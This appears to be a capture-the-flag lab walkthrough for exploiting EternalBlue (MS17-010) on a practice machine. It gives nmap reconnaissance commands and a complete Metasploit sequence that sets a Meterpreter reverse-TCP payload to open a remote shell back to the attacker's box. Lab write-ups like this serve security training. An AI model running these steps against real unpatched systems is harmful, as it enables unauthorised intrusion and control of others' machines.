EternalBlue is the name given to an exploit that takes advantage of a critical vulnerability (MS17-010) in the Server Message Block (SMB) protocol of Microsoft Windows systems. This vulnerability allows for remote code execution, meaning an attacker can execute arbitrary code on a vulnerable machine without requiring any user interaction. The exploit was originally developed by the NSA and leaked by the Shadow Brokers group. It was famously used in the WannaCry ransomware attack in 2017, highlighting its severity and widespread impact. Systems running older, unpatched versions of Windows were particularly susceptible.
Machine Walkthrough
MACHINE IP : 10.10.119.162
Reconnaissance
Target Identification: Confirm the target IP address (10.10.119.162) is reachable and online using ping.
Port Scanning: Identify open ports on the target using Nmap. Pay close attention to port 445 (SMB), which is crucial for EternalBlue exploitation. Consider using Nmap scripts to detect potential vulnerabilities. Example: nmap -sV -sC 10.10.119.162More about -sV and -sC>>>
OS Detection: Determine the operating system and version running on the target. This is essential to ensure the exploit is compatible. Nmap’s OS detection (-O) can help: nmap -O 10.10.119.162
Vulnerability Check: Verify that the target machine is vulnerable to MS17-010. This could involve using specialized tools or checking the machine’s patch level.
if we deep dive into the ms17-010 we can inspect the script code, change directory to /usr/share/nmap/scripts then ls | grep smb. you will see lot of smb related scripts
we can see the content of smb-vuln-ms17-010.nse
Exploitation
Launch msfconsole: Start the Metasploit Framework console.
Search for the exploit: Use the search command to locate the EternalBlue exploit module. Example: search ms17_010
Select the exploit: Use the use command to select the appropriate module. Example: use exploit/windows/smb/ms17_010_eternalblue (or the index number from search results).
Set options: Configure the exploit settings using the set command:
set RHOSTS <target_ip> (Replace <target_ip> with 10.10.119.162).
set RPORT 445 (This is usually the default but verify).
set PAYLOAD <payload> (Choose a suitable payload; windows/x64/meterpreter/reverse_tcp is a common choice. Verify the architecture (x64) matches the target).
set LHOST <your_ip> (Replace <your_ip> with your AttackBox’s IP address).
set LPORT <your_port> (Choose a free port on your AttackBox; 4444 is commonly used).
Verify options: Use show options to check your settings are correct.
Exploit the target: Run the exploit using the run command.
Meterpreter Session: If successful, a Meterpreter session will be established. You’ll have a command prompt within this session.